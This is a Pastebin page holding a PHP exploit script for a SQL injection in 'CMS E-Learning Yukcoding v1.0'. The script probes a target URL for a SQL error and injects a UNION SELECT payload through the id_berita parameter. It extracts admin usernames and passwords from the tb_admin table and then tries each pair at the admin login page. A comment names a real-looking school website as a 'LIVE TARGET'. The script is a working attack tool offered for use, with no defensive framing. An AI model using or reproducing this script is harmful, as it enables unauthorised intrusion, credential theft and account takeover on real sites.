Advertisement
ardann

Exploit CMS E-Learning Yukcoding

Aug 29th, 2018
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.35 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @author Z0NK3X ft R3VO
  5. * @package Exploit CMS E-Learning Yukcoding
  6. * Payload by R3VO
  7. * SQLi CMS E-Learning Yukcoding v1.0
  8. *
  9. */
  10. function getstr($string, $start, $end){
  11.     $str = explode($start,$string);
  12.     $str = explode($end,$str[1]);
  13.     return $str[0];
  14. }
  15. function check_connection($url){
  16.     if(!filter_var($url, FILTER_VALIDATE_URL))
  17.     {
  18.     return false;
  19.     }
  20.  
  21.     //initialize curl
  22.     $curlInit = curl_init($url);
  23.     curl_setopt($curlInit,CURLOPT_CONNECTTIMEOUT,10);
  24.     curl_setopt($curlInit,CURLOPT_HEADER,true);
  25.     curl_setopt($curlInit,CURLOPT_NOBODY,true);
  26.     curl_setopt($curlInit,CURLOPT_RETURNTRANSFER,true);
  27.  
  28.     //get answer
  29.     $response = curl_exec($curlInit);
  30.  
  31.     curl_close($curlInit);
  32.  
  33.     if ($response) return true;
  34.  
  35.     return false;
  36. }
  37. function detect_sqli($url){
  38.     if (preg_match('/You have an error in your SQL syntax; check the manual that corresponds to your/i', file_get_contents($url."'"))) {
  39.         return true;
  40.     }
  41.     else{
  42.         return false;
  43.     }
  44. }
  45. function get_upw($url){
  46.     return getstr(file_get_contents($url),"        <li>,","      </div>");
  47. }
  48. function curl($url){
  49.   $ch = curl_init();
  50.   curl_setopt($ch, CURLOPT_URL, $url);
  51.   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  52.   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  53.   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  54.   curl_setopt($ch, CURLOPT_HEADER, 1);
  55.   curl_setopt($ch, CURLOPT_HTTPHEADER, array(
  56. 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
  57. 'accept-encoding: gzip, deflate, br',
  58. 'accept-language: en-US,en;q=0.9,id;q=0.8',
  59. 'cache-control: max-age=0',
  60. 'Cookie:',
  61. 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36'
  62.   ));
  63.   $res = curl_exec($ch);
  64.   $header = substr($res, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE));
  65.   $body = substr($res, curl_getinfo($ch, CURLINFO_HEADER_SIZE));
  66.   curl_close($ch);
  67.   $cookie = getstr($header, "Set-Cookie: ",";");
  68.   return ["header" => $header,"cookie" => $cookie];
  69. }function post_data($url, $param){
  70.     $curl = curl($url);
  71.     $c = curl_init();
  72.     curl_setopt($c, CURLOPT_URL, $url);
  73.     curl_setopt($c, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36");
  74.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  75.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
  76.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  77.     curl_setopt($c, CURLOPT_HTTPHEADER, array(
  78. 'Accept: */*',
  79. 'Accept-Encoding: gzip, deflate',
  80. 'Accept-Language: en-US,en;q=0.9,id;q=0.8',
  81. 'Connection: keep-alive',
  82. 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
  83. 'Cookie: '.$curl["cookie"],
  84. 'X-Requested-With: XMLHttpRequest'
  85.     ));
  86.     curl_setopt($c, CURLOPT_POSTFIELDS,$param);
  87.     curl_setopt($c, CURLOPT_POST, 1);
  88.     $out = curl_exec($c);
  89.     return $out;
  90. }
  91. function exploit_sqli($url){
  92.     $green  = "\e[1;92m";
  93.     $cyan   = "\e[1;36m";
  94.     $putih  = "\e[0m";
  95.     $blue   = "\e[34m";
  96.     $green1 = "\e[0;92m";
  97.     $yellow = "\e[93m";
  98.     $red    = "\e[1;91m";
  99.     if (detect_sqli($url)) {
  100.     echo "[+] Target is ".$green1."Vulnerable!\n".$putih;
  101.     $payload = "%27%20+UNION+ALL+SELECT+1,@@version,make_set(6,@:=0x0a,(select(1)from(tb_admin)where@:=make_set(511,@,0x3c6c693e,username,pass)),@),4,5,6--+";
  102.     $id = getstr($url."<", "id_berita=","<");
  103.     $exp = str_replace($id, "-".$id.$payload, $url);
  104.     $get = file_get_contents($exp);
  105.     if (!preg_match('/<li>,/i', $get)) {
  106.         echo "[-] Can't Get Database, maybe not vulnerable\n";
  107.         exit();
  108.     }
  109.     $dsqli = getstr($get, '<h3 align="center">','</h3>');
  110.     echo "[+] VersionDB : ".$dsqli."\n";
  111.     $pecah = str_replace([",<li>,",","],["\n","|"],get_upw($exp));
  112.     $x = 1;
  113.     echo "+--------------------------------+\n";
  114.     foreach (explode("\n", $pecah) as $up) {
  115.     $pch = explode("|", $up);
  116.     echo "[+] Data User & Pass [".$x++."]\n";
  117.     echo "+--------------------------------+\n";
  118.     echo "[+] Username      : ".$cyan.$pch[0].$putih."\n";
  119.     echo "[+] Passowrd      : ".$cyan.$pch[1].$putih."\n";
  120.     echo "+--------------------------------+\n";
  121.     $urp = parse_url($url);
  122.     $adlo = $urp["scheme"]."://".$urp["host"].$urp["path"]."admin/";
  123.     echo "[?] Trying Login\n";
  124.     sleep(1);
  125.     echo "[*] Posting Data to ".$adlo."inc/proses_login.php\n";
  126.     sleep(1);
  127.     echo "[*] Form Data : ".str_replace("      ", "","user=".$pch[0]."&pass=".$pch[1])."\n";
  128.     sleep(1);
  129.     if(post_data($adlo."inc/proses_login.php", str_replace("      ", "","user=".$pch[0]."&pass=".$pch[1])) == "sukses"){
  130.         echo "[*] Getting Response\n";
  131.         sleep(2);
  132.         echo $green1."[+] Login Success!\n".$putih;
  133.     }else{
  134.         echo "[*] Getting Response\n";
  135.         echo $red."[-] Login Failed!\n".$putih;
  136.     }
  137.     }
  138.     echo "+--------------------------------+\n";
  139.     }
  140.     else{
  141.     echo "[-] Target isn't ".$red."Vulnerable!\n".$putih;
  142.     }
  143. }
  144. /**** LIVE TARGET ****/
  145. # http://smkadisumarmo.sch.id/e-Learning/?hal=daftar&page=berita&action=detail&id_berita=7
  146. echo "[!] USE PROTOCOL! [HTTP/HTTPS]\n";
  147. $url = readline("[*] URL TARGET   : ");
  148. $urp = parse_url($url);
  149. $adlo = $urp["scheme"]."://".$urp["host"].$urp["path"]."admin/";
  150. echo "[+] Connecting to Target\n";
  151. if (check_connection($url)) {
  152. echo "[?] Starting Exploit\n";
  153. exploit_sqli($url)."\n";
  154. echo "[+] Admin Login\n[*] $adlo\n";
  155. echo "+------------[ FINISH ]----------+\n";
  156. }else{
  157. echo "[-] Couldn't Connect to Target!\n";
  158. echo "[?] Please to check your connection\n";
  159. exit();
  160. }
  161. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement